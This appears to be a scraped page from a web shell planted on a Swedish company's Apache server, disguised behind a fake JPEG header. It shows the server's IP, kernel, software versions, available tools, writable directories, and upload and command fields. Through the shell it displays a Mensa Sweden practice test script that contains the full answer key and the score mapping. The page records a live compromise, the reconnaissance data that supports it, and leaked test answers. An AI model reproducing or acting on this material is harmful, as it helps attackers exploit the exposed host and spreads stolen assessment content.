????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 3.144.226.114
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/appsrv.astacus.se/new_employee/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/appsrv.astacus.se/new_employee/test2.js
// Copyright Mensa Sweden (test)

"use strict";

// Kopierar du svaren så fuskar du!
var answers = ["E","C","C","A","D","E","B","C","D","B","B","B","A","E","D","A","A","A","B","E","D","E","D","C"];

var query = 1;
var age = location.search.substr(5, 1);
var tick = 600;
var provtest;
var testInterval;

(function() {
  setTimeout(function() {
    provtest = document.getElementById("provtest");
    if(provtest) {
      testInterval = window.setInterval(countDown, 1000);
    }
  }, 100);
}());

function updateAnswer(value) {
  setFieldValue(provtest["Item" + query], value, true);
  if(tick > 0) {
    if(query < 24) {
      query++;
    }
    doNavigate();
  }
}

function doNavigate() {
//    document.getElementById("testcount").innerHTML=query;
  document.getElementById("testimage").src="images/item" + query + ".gif";
  var curValue = getFieldValue(provtest["Item" + query]);
  if(curValue === "") {
    for(var i=0;i<5;i++) {
      provtest.Item[i].checked = false;
    }
  }
  else {
    setFieldValue(provtest.Item, curValue, true);
  }
  if(query<2) {
    document.getElementById("Previous").style.visibility="hidden";
  }
  else {
    document.getElementById("Previous").style.visibility="";
  }
  if(query>23) {
    document.getElementById("Next").style.visibility="hidden";
  }
  else {
    document.getElementById("Next").style.visibility="";
  }
}

function countDown() {
  tick--;
  var minutes=parseInt(tick/60);
  var seconds=tick % 60;
  if(seconds<10) { seconds = "0" + seconds; }
  document.getElementById("timer").innerHTML = minutes + ":" + seconds;
  if (tick === 0) {
    clearInterval(testInterval);
    alert("Times up! You will now see your result!");
    tester();
//    document.getElementById("Previous").style.visibility="hidden";
//    document.getElementById("Next").style.visibility="hidden";
    return;
  }
}

function tester() { 
  var score = age;
  for(var i=1; i<=answers.length; i++) {
    var fld = provtest["Item" + i];
    if(getFieldValue(fld) === answers[i-1]) { 
      score++;
    }
  }

  switch(score) {
  case 9:
    location.href="result.php?result=75";
    break;
  case 10:
    location.href="result.php?result=80";
    break;
  case 11:
    location.href="result.php?result=85";
    break;
  case 12:
    location.href="result.php?result=89";
    break;
  case 13:
    location.href="result.php?result=93";
    break;
  case 14:
    location.href="result.php?result=96";
    break;
  case 15:
    location.href="result.php?result=100";
    break;
  case 16:
    location.href="result.php?result=103";
    break;
  case 17:
    location.href="result.php?result=107";
    break;
  case 18:
    location.href="result.php?result=112";
    break;
  case 19:
    location.href="result.php?result=116";
    break;
  case 20:
    location.href="result.php?result=119";
    break;
  case 21:
    location.href="result.php?result=122";
    break;
  case 22:
    location.href="result.php?result=126";
    break;
  case 23:
    location.href="result.php?result=126";
    break;
  case 24:
    location.href="result.php?result=More then 126";
    break;
  default:
    location.href="result.php?result=Less then 75";
    break;
  }
}

function displayResult() {
  var result = parseInt(location.search.substr(8), 10);
  if(result > 15) {
      document.getElementById("result16").style.display = "";
  } else {
      document.getElementById("result" + result).style.display = "";
  }
}

function isArray(obj) {
  if(obj.constructor.toString().indexOf("Array") == -1) {
    return false;
  }
  else {
    return true;
  }
}

function setFieldValue(field, value, replace) {
  var fieldType, i, ii, j, jj, arrFlag = isArray(value);
  if(field.type) {
    fieldType=field.type;
  } else {
    fieldType=field[0].type;
  }
  switch(fieldType) {
    case "text":
    case "textarea":
    case "password":
    case "hidden":
      if(replace) {
        field.value=value;
      }
      else {
        field.value+=value;
      }
      break;
    case "select-one":
      if(isArray(value)) {
        value=value[0];
      }
      for(i=0, ii=field.length; i<ii; i++) {
        if(field.options[i].text==value || field.options[i].value==value) {
          field.options[i].selected=true;
          break;
        }
      }
      break;
    case "select-multiple" :
      for(i=0, ii=field.options.length; i < ii; i++) {
        if(field.options[i].selected && replace) {
          field.options[i].selected=false;
        }
        if(arrFlag) {
          for(j=0; j<value.length; j++) {
            if(field.options[i].text==value[j] || field.options[i].value==value[j]) {
              field.options[i].selected=true;
            }
          }
        }
        else {
          if(field.options[i].text==value || field.options[i].value==value) {
            field.options[i].selected=true;
          }
        }
      }
      break;
    case "button" :
    case "reset" :
    case "submit" :
      return;
    case "radio" :
      if(isArray(value)) {
        value = value[0];
      }
      for (i = 0; i < field.length; i++) {
        if (field[i].value === value) {
          field[i].checked = true;
          return;
        }
      }
      break;
    case "checkbox":
      for(i = 0, ii = field.length; i < ii; i++) {
        if(field[i].checked && replace) {
          field[i].checked = false;
        }
        if(arrFlag) {
          for(j = 0, jj = value.length; j<jj; j++) {
            if(field[i].value==value[j]) {
              field[i].checked=true;
              break;
            }
          }
        }
        else {
          if(field[i].value==value[j]) {
            field[i].checked=true;
            break;
          }
        }
      }
      break;
    default:
      var str = "", x;
      for (x in field) {
        str += x + "\n";
      }
      alert("I couldn't figure out what type this field is...\n\n" + field.name + ": ???\n\n\n" + str + "\n\nlength = " + field.length);
  }
}

function getFieldValue(field) {
  var fieldType, allChecked = [], i, ii;
  if(field.type) {
    fieldType=field.type;
  }
  else {
    fieldType=field[0].type;
  }
  switch(fieldType) {
    case "text":
    case "textarea":
    case "password":
    case "hidden":
      return field.value;
    case "select-one":
      i = field.selectedIndex;
      if (i == -1) {
        return "";
      }
      else {
        if(field.options[i].value === "") {
          return field.options[i].text;
        }
        else {
          return field.options[i].value;
        }
      }
      break;
    case "select-multiple" :
      for(i = 0, ii = field.options.length; i < ii; i++) {
        if(field.options[i].selected) {
          if(field.options[i].value === "") {
            allChecked[allChecked.length] = field.options[i].text;
          }
          else {
            allChecked[allChecked.length] = field.options[i].value;
          }
        }
      }
      return allChecked;
    case "button" :
    case "reset" :
    case "submit" :
      return "";
    case "radio" :
      for (i = 0; i < field.length; i++) {
        if (field[i].checked) {
          return field[i].value;
        }
      }
      return "";
    case "checkbox" :
      for(i = 0, ii = field.length; i < ii; i++) {
        if(field[i].checked) {
          allChecked[allChecked.length]=field[i].value;
        }
      }
      return allChecked;
    default :
      var str = "", x;
      for (x in field) {
        str += x + "\n";
      }
      alert("I couldn't figure out what type this field is...\n\n" + field.name + ": ???\n\n\n" + str + "\n\nlength = " + field.length);
  }
}

Youez - 2016 - github.com/yon3zu
LinuXploit